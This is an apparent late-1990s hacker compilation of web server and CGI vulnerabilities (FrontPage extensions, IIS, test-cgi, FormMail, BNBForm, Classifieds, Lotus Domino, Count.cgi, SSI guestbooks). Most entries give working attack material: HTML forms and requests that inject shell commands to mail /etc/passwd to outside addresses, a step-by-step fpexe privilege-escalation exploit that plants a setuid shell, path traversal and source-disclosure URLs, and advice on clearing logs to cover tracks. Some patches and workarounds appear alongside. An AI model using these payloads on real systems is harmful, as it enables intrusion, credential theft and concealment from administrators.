/cgi-bin C:InetPubwwwrootsrchadm /srchadm C:WINNTSystem32inetserviisadmin /iisadmin C:InetPubwwwroot_vti_pvt FrontPage creates a directory _vti_pvt for the root web and for each FrontPage sub-web. For each FrontPage web with unique permissions, the _vti_pvt directory contains two files for the FrontPage web that the access file points to: service.pwd - contains the list of users and passwords for the FrontPage web. service.grp - contains the list of groups (one group for authors and one for administrators in FrontPage). On Netscape servers, there are no service.grp files. The Netscape password files are: administrators.pwd for administrators authors.pwd for authors and administrators users.pwd for users, authors, and administrators C:InetPubwwwrootsamplesSearchQUERYHIT.HTM http://www.victim.com/samples/search/queryhit.htm - Internet Information Index Server sample If Index Information Server is running under IIS, service.pwd (or any other file) can sometimes be retrieved. Search for "#filename=*.pwd" FP extensions are fundamentally stupid in nearly all respects of implementation. Firsly, they maintain a crapload of meta files (one shadow for every file managed) then they have all of their config info in a bunch of text files in the _vti_pvt directory. (Oh,BTW, there exists a very HUGE privacy hole in the FP extenstions). If you go to a site that has FP extensions, just pick any directory in the URL, yank the filename off, and put "_vti_cnf" there instead... you'll get a complete listing of all the files in the real directory. With this you can snatch files that weren't meant to be seen by the public...and it's available on ALL FP enabled sites. Frontpage 98 fucks up the permissions so bad that it makes the _vti_pvt directory WORLD WRITABLE!!! No shit, you can do whatever you want to stuff in that directory. Scanning PORT 80 (http) or 443 (https) options: GET /__vti_inf.html #Ensures that frontpage server extensions are installed. GET /_vti_pvt/service.pwd #Contains the encrypted password files. Not used on IIS and WebSite servers GET /_vti_pvt/authors.pwd # On Netscape servers only. Encrypted names and passwords of authors. GET /_vti_pvt/administrators.pwd GET /_vti_log/author.log #If author.log is there it will need to be cleaned to cover your tracks GET /samples/search/queryhit.htm If service.pwd is obtained it will look similar to this: Vacuum:SGXJVl6OJ9zkE Turn it into DES format: Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash

Name: M$ FP extensions to Apache under UNIX. Risk: remote root Versions: Microsoft Frontpage 98 server extensions for Apache only Date: 22 October 1997 Found: Marc Slemko Details: http://www.worldgate.com/~marcs/fp/ You want a rogue program to run, and the victim has anonymous uploadable FTP (or you sign up for a service and you want to run binaries on the server, but can't): mkdir _vti_bin cd _vti_bin put [whatever bin] Web browser: http://www.victim.com/somedirectorystructure/_vti_bin/trojanfile Boom you've got stuff runnin on that server. They configure the Netscape server the same way. Unless you make a special NSAPI or Apache module, you're vulnerable as a freshly born ewe of a cloned sheep named Dolly! And why is this possible??? ScriptAlias "*/_vti_bin/*" /somedirpath <Object ppath="*/_vti_bin/*"> ... </Object> Solution: Custom NSAPI / Apache module: NameTrans fn="prefix_fpdir" prefix_path="/somedir/cgi-bin/frontpage" name="cgi" Custom Stub: /somedir/cgi-bin/frontpage/cgi-wrapper [path to real binary] Microsoft's FrontPage 98 server side extensions for Apache under Unix include a small setuid root program (fpexe) to allow the FrontPage CGIs to be run as the user who owns the pages as opposed to them all running as the user the web server runs as. This is necessary to get around gaping loopholes that occur when all FrontPage documents are owned by the user the web server runs as. Before you can understand the holes in the FP server extensions, you need to understand what I mean when I talk about the "key". When the Frontpage-modified Apache server starts up, it generates a pseudo-random string of 128 ASCII characters as a key. This key is written to a file that is only readable by the user that starts Apache; normally root. The server than passes the key to fpexe. Since fpexe is setuid root, it can compare the key stored on disk with the one it was passed to be sure they match; if not, it refuses to run. This is used in an attempt to guarantee that the only thing calling fpexe is the web server. Used properly this is a powerful part of possible security precautions. I am not convinced that the generation of the key is cryptographically adequate and it may be subject to intelligent guessing attacks, however I have not looked at it to see. As discussed later, the cryptographical robustness of the key doesn't really matter. There are a number of problems with the setuid root fpexe program. I am not attempting a complete description of all the problems and their possible consequences and fixes, just making a light sweep over the top. The more obvious problems include: Return codes from library calls are not properly checked. An example: f = fopen( buf, "r"); fgets( key, 129, f ); fclose(f); If fopen() failed (easy to make it do so with ulimit -n), then if your system did not core dump on a fgets() on a closed descriptor you would end up with an empty key. It is obviously easy to guess an empty key. I am not aware of any systems that exhibit this exact problem, but it is possible. Return codes need to be checked, especially in setuid programs. Proper bounds checking is not done. This leads to obvious buffer overflows. An example: strcpy( work, FPDIR ); strcat( work, getenv("FPEXE") ); I won't go into the details of what this does, but if you could cause this code to be executed, you could insert your own code on most systems and likely gain access to the UID the program is running as (root). This proves to be an unnecessary effort to go to, because this code is only executed if you have the correct key; if you have the correct key,there are far easier ways to gain access. Buffer overflows are one of the most popular (albeit normally boring) types of new holes in programs being publicized. It does not clean the environment variables before starting the CGI. Again, this means you can gain access to the UID that the program runs as (not root). If the rest of the program was securely written, this could possibly be an issue however it is of little consequence currently due to the gaping holes in other areas. It assumes that if you have the key, then you are authorized to have it run any program as nearly any user you tell it to. The process you are running also needs to be in the same process group as the web server; all CGIs run by the server, however, are in the same process group so if you can run a CGI script you can work around the second check. It does no further checks to be sure you are running as a user that should be allowed to run FrontPage CGIs (other than disallowing UID 0; the compiled version also disallows gid 0, however the source version doesn't) or that you are running a Frontpage related program. This means that if you get the key file, you can gain access to any non-root UID on the server. On 99% of boxes, that will give you root. For example, if binaries are owned by bin then become bin and replace one that is run by root from cron. The possibilities are endless once you obtain this level of access. And, finally, the worst: it passes the key to fpexe via an environment variable! On most systems, environment variables are available via "ps -e". This means that anyone with access to run programs on the system (and there are often more people than you think that are able to do this, due to things such as CGIs) can see it as it is being passed from the web server to fpexe. Recall that once you have the key, there is little remaining before you can get full access to the system. Demonstration of an exploit I.First I have to find the key. This can be done by using ps to get the environment from fpexe. To do this, I first setup a loop running (this assumes a real aka. Bourne shell; if you use the bastard C-shell it obviously won't work as written): while true; do ps axuwwe -U nobody | grep FPKEY; done II.Then I used ZeusBench, a very simple HTTP benchmark program, to generate load on the server: zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30 Any method of generating traffic could be used, including a web browser. Since I am using a very inefficient method of looking for a process, I need to generate lots of traffic to increase my chance of finding one. It certainly isn't likely to happen on the first request. The requests do have to be made to a FP CGI script so it will call fpexe. III.Before long, I had what I wanted from ps (manually wrapped): nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01 SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000 FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77 3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/* PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/ SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80 REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1 DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0 REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe IV.Then I need to use the key to make fpexe think I am the web server. I can't just run this from a normal shell, since I need to be in the same process group as the web server. A simple CGI suffices: #!/bin/sh echo Content-type: text/plain echo export FPUID=3; export FPGID=3; export FPEXE=../../../../../../../../tmp/gotcha; export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59 /usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1 V.I need a program for it to run (/tmp/gotcha in this example): #!/bin/sh /usr/bin/id cp /bin/sh /tmp/.mysh chmod u+s /tmp/.mysh VI.Then I simply make a HTTP request for the CGI script. I can then run /tmp/.mysh at my leisure to gain access to UID 3 (bin on my system) and do what I want from there. Fixes The Apache web server has a suEXEC wrapper designed to allow for a similar thing; that is, execution of CGI scripts under a user's own UID. It is very restrictive (some would say anal) about what it allows: there is a reason for that, as Microsoft's obviously failed attempt at security shows. It is possible that suEXEC could be adapted to function in conjunction with FrontPage, however it will not work without source modifications. One short term workaround until Microsoft addresses the issue is to simply remove the FrontPage setup from your system. This can be done temporarily by removing the setuid bit from fpexe (ie. chmod u-s fpexe). This will prevent all the pretty FrontPage CGIs from working. It will prevent people from uploading new pages using FrontPage's own methods (ie. they can tell FrontPage to use FTP and they will still be uploaded), but generic content that doesn't rely on FrontPage's server side CGI scripts should work fine. Another possible workaround is to prevent users from running the ps command. This could have a very negative impact on your system if things depend on it, and is a poor solution however it may be the best one for you. On systems that don't use a procfs (/proc) based ps, you can normally simply remove world execute permissions from it to disable it. If you are on a system like Linux that normally uses a procfs for ps to get information, this doesn't solve the problem because someone can read from the procfs directly. Last of all, since this problem only occurs when using FrontPage with the mod_frontpage extensions, it is possible to use the FrontPage extensions on Apache without using mod_frontpage or fpexe. Unfortunately, this conversion is not easy. It means that, after recompiling Apache without any of the Microsoft modifications (just commenting out mod_frontpage from the Configuration file may be enough; haven't checked) you have to either manually copy the FrontPage CGIs to the appropriate subdirectory under each user's web directory and make them setuid to that user or copy them (or make links) and don't make them setuid to that user. The former preserves the current ownership. With the latter all the user's web files will need to be changed back to being owned by the user the web server runs as or else they will be unable to manipulate them and some of the FP CGIs won't run correctly. This is a pain and brings you back to the horrible security practice of letting anyone who can run CGIs modify any FrontPage user's files. Although this may be the best temporary workaround (although quite annoying if you have a large number of users), I can not go into step by step details of how to accomplish this change because I am not fully familiar with various ways of using the FrontPage extensions. The Microsoft FP security consi- derations document (part of the FP98 Server Extensions Resource Kit) provides some more details of the method in which the CGIs are run without fpexe. On a side note, Microsoft actually modifies the server name returned to clients when the FrontPage patches are installed in Apache to include "FrontPage/x.x.x". That is fine, however it gives anyone connecting to your server the ability to determine the chances of them being able to break into your system using holes in the FP extentions.

Name: BNBForm (bnbform.cgi) Risk: remote users can read arbitrary files on the filesystem. Date: December 3, 1998 Found: duke (duke@viper.net.au - duke@el8.org) Distro: http://bignosebird.com/carchive/bnbform.shtml The problem is that this form sends a responding email to users with the contents of any file contained in the 'automessage' variable. This can be used to specify any file that is readable by the uid of the webserver. There is also a security mechanism in place to prevent you from running this cgi script off of forms on other servers, using a $SECURE_NAME variable, but this is easily bypassable by copying the "submit_to" field off of the intended form onto your malicious form. This mechanism is disabled by default. <FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi"> FIELDS MARKED WITH * ARE REQUIRED! Your Name:* <INPUT TYPE="TEXT" NAME="name" SIZE=35 MAXLENGTH=50>  <INPUT TYPE="HIDDEN" NAME="autorespond" VALUE="yes"> <INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd"> <INPUT TYPE="HIDDEN" NAME="ok_url" VALUE="http://127.0.0.1/thanks.html"> <INPUT TYPE="HIDDEN" NAME="not_ok_url" VALUE="http://127.0.0.1/oops.html">

Name: BNBSurvey (survey.cgi) Risk: remote users can execute commands with web server privs Date: December 3, 1998 Found: duke (duke@viper.net.au - duke@el8.org) Distro: http://bignosebird.com/carchive/survey.shtml BNBSurvey is a CGI for doing simple surveys. This script has 2 modes of operation - the first being that people can vote as many times as they like, and the second being that the people can only vote once every hour. The first operation is the default. If this second mode of operation is enabled though, remote users can use metacharacters in the 'filebase' variable to execute arbitrary commands. (ie. if $ENFORCEMENT = "1" is set in the cgi script). <FORM METHOD="POST" ACTION="www.victim.com/cgi-bin/survey.cgi"> <input type=hidden name=action value="VOTE"> <input type=hidden name=filebase value="bleh; /bin/mail you@your_email_address.com <PRE> Your Gender <input type=radio name=ITEM1 value="0">Male <input type=radio name=ITEM1 value="1">Female <input type=radio name=ITEM1 value="2">Neuter <INPUT TYPE="submit" VALUE="VOTE!">

Name: Classifieds (classifieds.cgi) Risk: remote users can execute commands with web server privs Date: December 15, 1998 Distro: http://cgi.notts.net Classifieds by Greg Mathews is a free cgi script for handling classified ads. There are multiple security holes in this that allow remote execution. Firstly, by setting your email address as something like "duke@viper.net.au</etc/passwd" you can read files remotely off the server. Also, by setting the hidden variables on a html form a remote user can force arbitary commands to be executed. One example of this is modifying the following variable: <input type="hidden" name="mailprog" value="/usr/sbin/sendmail"> Changing its value to another command will cause that alternate command to be executed. For a remote server, copy their path hidden fields or it will not get up to the vulnerable code. This just executes "touch /tmp/bighole". Modify it to suit your needs.. <form method=post action="/cgi-bin/classifieds.cgi"> <input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/"> <input type="hidden" name="ViewDir" value="http://victim.com/class/ads/"> <input type="hidden" name="ErrorReturn" value="http://victim.com/class/index.html"> <input type="hidden" name="ReturnURL" value="http://victim.com/class/hi.html"> <input type="hidden" name="return" value="duke@viper.net.au"> <input type="hidden" name="mailprog" value="touch /tmp/bighole"> <b>Which department do you want your ad to be placed in or you would like to view? </form>

Name: ASP bugs Risk: allows remote file listing/downloading/source viewing Versions: IIS x.x,PWS also Windows95/NT Date: July 1, 1998 Distro: http://www.microsoft.com/security/bulletins/ Internet Information Server (IIS) may reveal Active Server Pages (ASP) code in situations where the URL path contains a period in part of the extended URL. For example, a URL such as http://www.somesite.com/new.products/hello.asp would display the code within hello.asp instead of executing it -- apparently the "new.products" portion of the URL causes the problem. The problem occurs consistantly on FAT partitions and only happens on NTFS partitions where the Everyone group has read access, or IUSR_MACHINENAME has read access. First bug: reading of .asp, .ht., .id, .PL Feb 27 1997 This hot-fix solved the trailing '.' problem but opened up a new hole which allows the same results - viewing the .asp file instead of executing it. This is accomplished by replacing the '.' in the filename part of a URL with a '%2e', the hex value for '.': http://www.mycompany.com/default.asp http://www.myserver.com/default.asp. http://www.mycompany.com/default%2easp http://www.mycompany.com/default%2e%41sp A problem was discovered that affects Microsoft IIS. Web clients can read the contents of any NTFS file in an IIS directory to which they have been granted "read access" including Active Server Pages scripts The main data stream, which stores the primary content has an attribute called $DATA. Accessing this NTFS stream via IIS from a browser may display the contents of a file that is normally set to be acted upon by an Application Mapping. The problem does not allow the user to modify the script or to execute arbitrary code. The ACLs on the file must allow the user read access The file must reside on an NTFS partition To test for the vulnerability on your systems, choose a URL with an .ASP extension and append the string "::$DATA". http://www.somedomain.com/scripts/test.asp::$DATA obtain domain users password via asp server variable 12 Aug 1998 With basic authentication on IIS, one can obtain password of users accessing the ASP page via the server variable AUTH_PASSWORD. The line <%= Request.ServerVariables("AUTH_PASSWORD") %> in an asp file will do the trick. With this, web page authors/content providers (probably not the same person who administers the web server and NT domain) can easily trap password of other domain users. Hotfixes are ready

Name: httpd (Windows NT/95 IIS) bugs Risk: allows remote file listing/downloading/source viewing Versions: IIS 1.0,2.0,3.0,4.0, the PWS also Author: Mnemonix (http://www.users.globalnet.co.uk/~mnemonix) Distro: www.microsoft.com/infoserv New Perl.exe, IIS exploit 13 Jul 1998 All versions of Internet Information Server seem to have a feature that can cause security problems when it has been configured to run Perl scripts to produce dynamic web pages, although really it is a combination of IIS and the Perl command interpreter (Perl.exe) acting together that can cause this hole. Basically the security implications of this problem is that data can be read from execute only virtual directories sometimes leading to the discovery of UserIDs and passwords. Script extentions (in this case .cgi or .pl) are mapped against the interpreter in the registry under the following key: HKLMSYSTEMCurrentControlSetServicesW3SVCParametersScriptMap When the web service receives a request from a browser it checks the extention of the file requested and deals with it accordingly. In this case if a .pl or .cgi file is requested IIS checks the registry to see what interpreter should deal with that kind of file and then passes the requested information to the interpreter, perl.exe. This is the "fault" of IIS : that it does not check to see whether the file actually exists or not; it just blindly passes the information to the interpreter. IIS leaves this responsibilty to the interpreter. The second part of this problem is caused by the interpreter: perl.exe. Perl will open and try to execute any file that actually exists as long as it has the extention .pl (if that is the registered extention) Consequently if a space (%20) and .pl is appended to the end of a URL Internet Information Server will pass the request to perl.exe which will then open the file and try to execute it: http://www.site.com/scripts/file.ext%20.pl To demonstrate how this could be a problem: Some CGI scripts often require a .txt file that contains a userID and password such as wwwboard.cgi. Create a text file with two lines. On the first line type "Webadmin" and on the secondline type "Password". Like so: Webadmin Password And name the file pass.txt the request the following URL: http://www.site.com/scripts/pass.txt%20.pl You should receive a response similar to : Can't call method "webadmin" in empty package "password" at C:InetPubscriptspass.txt line 1 You can also glean information from other "sensitive" files such as .asp or .idc http://www.site.com/scripts/default.asp%20.pl http://www.site.com/scripts/database.idc You could even run old perl scripts that are still in the /scripts directory but have had their extention changed: http://www.site.com/scripts/script.pl.old%20.pl This problem is exacerbated by the fact that perl.exe will accept willcards such as * and ? so you don't even need to know that name of a file. You can request : http://www.site.com/scripts/*.txt%20.pl and perl.exe will open the first text file in the scripts directory that it comes across. The solution to this problem is to use the ISAPI interpreter instead: PerlIS.dll. This leads to better performance anyway as the script is run in the same memory space as IIS and only one instance of it ever needs to be loaded into memory unlike perl.exe where for each script requested a new instance of perl.exe is loaded into its own memory space. Windows NT running IIS httpd prior to 1.0c .. .Old The IIS Web Publishing Service is not chrooted. Any file on a intel WindowsNT box running IIS can be downloaded, as long as the files you want to download are on the same partition as the IIS root directory. You enter the URL and a directory below the IIS root directory. Any directory will do, as long as it is a subdirectory to the IIS root. Most of the IIS installations have the directory scripts or images so it isn't to hard to find a suitable directory. Then you just ".." your way up in the directory structure. http://www.victim.com/images/../../../mssql/customer.database

Name: test-cgi and nph-test-cgi (POPULAR!) Risk: allows arbitrary remote file listing Versions: Majority of UNIX based Internet World Wide Web servers come with this CGI script installed by default. They are NCSA HTTP 1.3, 1.4, 1.4.1, 1.4.2, 1.5.1, 1.5.2, 1,5.2a and Apache/0.8.11, 0.8.14, 1.0.x, 1.1.0, 1.1.3, 1.2.x, 1.3.x Distro: see original source of test-cgi A security hole exists in the nph-test-cgi script included in most UNIX based World Wide Web daemon distributions. The nph-* scripts exist to allow 'non-parsed headers' to be sent via the HTTP protocol (this is not the cause of this security problem, though). The problem is that nph-test-cgi, which prints out information on the current web environment (just like 'test-cgi' does) does not enclose its arguments to the 'echo' command inside of quotes....shell escapes are not possible but shell *expansion* is.... If your test-cgi file contains the following line (verbatim) then you are probably vulnerable. echo QUERY_STRING = $QUERY_STRING All of these lines should have the variables enclosed in loose quotes ("). Without these quotes certain special characters (specifically '*') get expanded where they shouldn't. Thus submitting a query of '*' will return the contents of the current directory (probably where all of the cgi files are... gee, there's jj and phf. Sending in a query of '/*' will list the root directory. And so on, and so on. This is the same as doing `echo *` when you've blown away 'ls' The easiest way to list out the directories is via the query string. However, it is possible to do the same thing through many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.) in the right situations. machine% echo "GET /cgi-bin/test-cgi?/*" | netcat www.hackme.com 80 CGI/1.0 test script report: [...] QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var [....] $CONTENT_TYPE ~$(echo POST /cgi-bin/test-cgi HTTP/1.0; echo Content-type: * ; echo Content-length: 0; echo; sleep 5) | telnet localhost 80 Connected to localhost. Escape character is '^]'. [...] REQUEST_METHOD = POST CONTENT_TYPE = (bunch of files listed here ) CONTENT_LENGTH = 0 [....] If you give test-cgi an argument which includes a *, you can get a directory listing from the SERVER_PROTOCOL field. SERVER_PROTOCOL is normally "HTTP/1.0". But Apache seems to accept anything there. The following worked on my machine: Pentium:~$ telnet localhost 80 Connected to localhost. GET /cgi-bin/test-cgi * HTTP/1.1 200 OK [....skip....] SERVER_PROTOCOL = printenv test-cgi [....] GET /cgi-bin/test-cgi /* will list the root directory. http://yourwebserver.com/cgi-bin/nph-test-cgi?* With minor variants, both scripts are a problem in a couple of areas. Crank each of these plus a couple of newlines into your server and see what you get: GET /cgi-bin/test-cgi?* HTTP/1.0 GET /cgi-bin/test-cgi?x * GET /cgi-bin/nph-test-cgi?* HTTP/1.0 GET /cgi-bin/nph-test-cgi?x * You can also try this: GET /cgi-bin/test-cgi?x HTTP/1.0 * GET /cgi-bin/nph-test-cgi?x HTTP/1.0 * # this can't be used in requests via proxy also see HTTP_REQUEST_METHOD bug /cgi-bin/test-cgi?%0A/* /cgi-bin/test-cgi?help&0a/bin/cat%20/etc/passwd POST /cgi-bin/test-cgi HTTP/1.0 Content-type: * Content-length: 0 * /cgi-bin/test-cgi HTTP/1.0 /* /cgi-bin/test-cgi HTTP/1.0 Putting /*/*/*/*/*/*/* (etc.) in 2 or 3 of above variables, requesting test-cgi about 20 times in a row and each time cancelling your request will drive the load on the server way up, making disk access slow. PATH_TRANSLATED can be abused by adding a / or a /~username to test-cgi. This will give you the real pathname of the htdocs-dir respectively the real pathname of an users $HOME/public_html. If it is neccessary to have the script accessible then a quick fix is to block The fix is to surround all of the variables in test-cgi ( and any other variations of test-cgi, such as nph-test-cgi, that may be present) in quotes or add "set -f" as the second line of the script, which closes the hole completely.

Name: FormMail perl script Risk: Remote users can execute commands on the server. Versions: FormMail, version 1.0 Distro: http://alpha.pr1.k12.co.us/~mattw/scripts.html <html><head><title>hack</title></head> <body><form method="post" action= "http://www.clueless-sysadmin.se/cgi-bin/formmail.pl"> <input type="hidden" name="recipient" value= "ugh@hotmail.com; cat /etc/passwd | mail ugh@hotmail.com"> <input type="submit" name="submit" value="submit"> </form></body></html>

Name: Set of perl-CGI scripts Date: November, 1998 Risk: local or remote execution of arbitrary code Versions: affected cgi scripts, listed below Distro: www.cgi-resources.com 1) HAMcards Postcard script v1.0 Beta 2 at www.hamnetcenter.com 2) Hot Postal Services v?? at www.hotarea.com the only metacharacter stripping this script does is rejecting any |'s 3) RC Bowen's Postcards v?? at www.rcbowen.com 4) LakeWeb's File and Mail List (expanded File Mail) v?? www.lakeweb.com 5) WebCards program (V1.6) by Sam Kareem (webmaster@iraq.net) Each of these are exploitable by inputing metacharacters into the recipient's email address. Each script calls something similar to: open( MAIL, "|$mailprog $email" ) # this particular line is from the LakeWeb scripts The exploit strings are simple, something like &mail evil@foobar.com < /etc/passwd&@host.com will work for each script (the @host.com is necessary because some hosts check for "@" and ".") when placed in the Recipient Email field. As a result, any command can be executed remotely without a local account with the uid of the webserver (usually "nobody" or similar, but you never know). Use open (MAIL , "|$sendmail -t") or use Net::SMTP to pass the data directly to port 25. or simply rm -rf ./cgi-bin. It might be an idea for CGI providing ISP's to insist on the use of perl's Mail::Sendmail module, which cuts out any potential pipe/ metachar related bugs by communicating directly w/ the SMTP server. $LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz See http://www.perl.com/CPAN for a list of mirror sites.

Name: Lotus Domino Date: October 9th, 1998 Risk: Users can write to remote server drives and change server configuration files. Versions: affect Domino 4.6 and earlier (on all platforms) Distro: www.notes.net Due to the design of Domino's database security,web users are able to write to remote server drives and change server configuration files. Three specific design flaws lead to sites being a victim. Default database ACLs are set to allow unrestricted access to all web users Databases do not correctly inherit their ACLs from their parent template. No tool is provided to check that proper security measures have been taken on server configuration databases. These three problems lead to databases being left unsecured to any web user. The first problem is that database default ACLs are set to give every user (including anonymous) 'designer' access (practically total control), as well as defaults the 'Max Internet Access' setting to 'editor'. There is also no automatic way to set the ACLs for a large number of databases at a single time. So every ACL for EVERY database needs to be MANUALY edited by an admin to make SURE the ACL is set properly. These two poor design issues practically guarantee that a number of databases on a server will be giving unwanted access to web users (or any users). This access includes web users being allowed to WRITE to server drives, read log ... The second problem is that databases do not correctly inherit the access control list from their parent template. Templates are used to update the design, forms, views etc. of similar databases, but do nothing to the ACL on update or initial creation. This causes serious problems for a server configuration file (a database),that is created and edited a minimal number of times. This is the case for domcfg.nsf. Domcfg.nsf is used for URL Redirection and the like; on most sites it is usually created and edited only once (and for this reason many admins overlook it). Since domcfg.nsf does not inherit the ACL from its parent template (domcfg.ntf), and because of the first problem mentioned above (namely, on initial database creation the ACL is set to give 'default' users designer access), any domcfg.nsf file's ACL that has not been MANUALLY edited to restrict users will give a web user UNRESTRICTED access. Many high profile Domino sites (you know who you are!) have been affected with these problems. Due to the nature and uses of domcfg.nsf, it is usually the guilty database An improperly configured ACL for domcfg.nsf can let any user with a standard web browser CHANGE THE URL ADDRESS of a site with simple redirection, edit/delete legitimate URL redirections, and generally wreak havoc. Now for the way domcfg.nsf is actually edited via the web: To open the Domino Configuration database add 'domcfg.nsf/?Open'to the end of url: http://199.99.99.99/domcfg.nsf/?open Now, in a correctly secured domcfg.nsf you would be prompted for a password at this point (or, in some cases, the domcfg.nsf file has not even been created and won't be there). Anyway, many sites (due to the details listed above) do NOT have their domcfg.nsf ACL setup correctly and at this point a web user sees a screen showing different views they can pick from (URL Redirection, Directory Mappings, etc.). Now to ADD a URL Redirect simply change the URL to: http://199.99.99.99/domcfg.nsf/URLRedirect/?OpenForm. At this point you get a URL Redirection form. Fill in the fields: IP Address: the IP address of the remote machine URL path: the path you want to redirect (lets say http://199.99.99.99) Redirection URL: the url you want it to redirect to (your own url http://my.own.url) Saving the document (pressing the submit button) will produce a new URL Redirection document. The next time the server is restarted the URL Redirection will take effect. With this example, every http request toward http://199.99.99.99 will be redirected toward http://my.own.url, having the affect of completely redirecting the site. Domino URL commands (which can be used to edit, delete, and manipulate files via the web) can be found in all documentation as well as at: www.notes.net/today.nsf The vulnerability affects websites created by Lotus Business Partners who provide training services and accept credit card numbers via the web; however, in theory the vulnerabilities could extend to any e-Commerce site. Navigate through a Domino site, and once a database has been accessed, remove the information after the .nsf or after the first set of numbers following the server portion of the URL and replace it with "?Open". If you are then presented with a list of views, your site is potentially vulnerable to having anonymous users access the information contained within the views listed Lotus recommends blocking this access through a $$ViewTemplateDefault. If this technique is used, the second vulnerability comes into play, which is to access the view by using the following URL format: http://www.server.com/database.nsf/viewname?SearchView&Query="*" This bypass the $$ViewTemplateDefault if the database is full-text indexed. databases: names.nsf; catalog.nsf; log.nsf; domlog.nsf; domcfg.nsf. older versions of Lotus Domino Go, formerly known as IBM Internet Connection Server (ICS), contained a security hole in directory browsing. When directory browsing is set to "fancy", a potential hacker can browse backward through the directory tree all the way up to root ("/"). Thus, private system files and other documents are exposed to interception. This bug was present in versions 1.0 through 2.0 of ICS, and affected both the AIX and OS/2 Warp versions.

Name: Count.cgi remote overflow Risk: local or remote execution of arbitrary code Versions: Muhammad A. Muquit's wwwcount v 2.2, 2.3 Distro: http://www.fccc.edu/users/muquit/Count.html There are at least two buffer overflow vulnerabilities in wwwcount, a widely used CGI web counter. The most harmful occurs when the QUERY_STRING environment variable (which reflects the url asked by the www client) is copied to a fixed-size dynamic buffer. Another one occures only when the counter is compiled with a special authentication option, and may not be exploitable. The actual fix is pretty simple. Apply the following patch to the file main.c. Environment variables will be cutted down to their first 600 chars. The idea of this patch can also be adapted for other purposes, mainly to develop a generic cgi-bin wraper. void wrapit(char *envvar,int esize) { char *tmp,*tmp2; tmp=malloc(esize+1); if(tmp==NULL) { Debug2("Can't allocate wrapper memory buffer.",0,0); exit(1); } strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); tmp[esize]=''; setenv(envvar,tmp,1); } /* * avoid any buffer overflow problem by cutting some env variables */ wrapit("QUERY_STRING",600); wrapit("HTTP_REFERER",600); wrapit("HTTP_USER_AGENT",600); here is a _sample_ exploit, designed to be used on localhost.Needs lots of work to be really usefull, remote stack prediction is still a big problem. wwwcount.c original (c) 05/1997 by plaguez count.c Gus/97 from rootshell intel linux count23.c linux exploit Count.cgi (html gen) count23a.c modified remote exploit Read any gif vulnerability only in 2.3 Allows remote users to read any GIF file on the server, regardless of HTTP permissions set. http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../path/file.gif you can see (and download) any GIF image on the server. You can't use this to download other file types because the program checks the file format. The use for this is not yet very clear, but some companies might have sensitive information in GIF files (charts, drafts etc.). And of course, this is heaven for XXX site hunters who can bypass user level authentication and download the image if they know the path.

Name: guestbook.cgi for Web Servers Using SSI Risk: execute arbitrary commands as web server's UID (remote) Versions: A guestbook CGI script is freely available by Selena Sol guestbook script at Matt Wright's archive Distro: http://www.eff.org/~erict/Scripts/guestbook.html Guestbook applications allow a person browsing a web site to "sign" an electronic guestbook and leave an appropriate message. All versions of this program have a vulnerability that under certain conditions allows a remote user to execute arbitrary commands on the server as the user id of the httpd daemon. These conditions are: * the server allow Server Side Includes (SSI) on the directory in which the guestbook is located, and, * the guestbook application allows the remote user to write HTML tags into the Comment field of the guestbook, and, * the guestbook application does not filter appropriate HTML tags. The script attempts to strip out SSI's with the following regex: $value =~ s///g;   <!--#exec cmd="/bin/cat /etc/passwd" Exec-SSIs are a security problem itself and one should know about the risks when enabling them (and enabling them for pages which are generated from user input, e.g. guestbook pages, is just a stupid idea). Scripts should not go about generating SSI based on user input. It's trivial to configure the server to avoid this - use a different file extension for ssi and non-ssi. Apache does diagnose the malformed tag: [Thu Jun 25 14:23:23 1998] [error] httpd: premature EOF in parsed file /blah/blah/tt.shtml But the diagnosis occurs after it has executed the command, and we're unlikely to change that. The parser just executes things as it encounters them. It does not attempt to find an entire tag first... that's needlessly complex. (Consider long tags spanning multiple input buffers.) (a) Disable SSI on the directory in which the guestbook application writes its data. See your WWW server documentation for details. (b) Filter HTML tags that can be used to process arbitrary local data

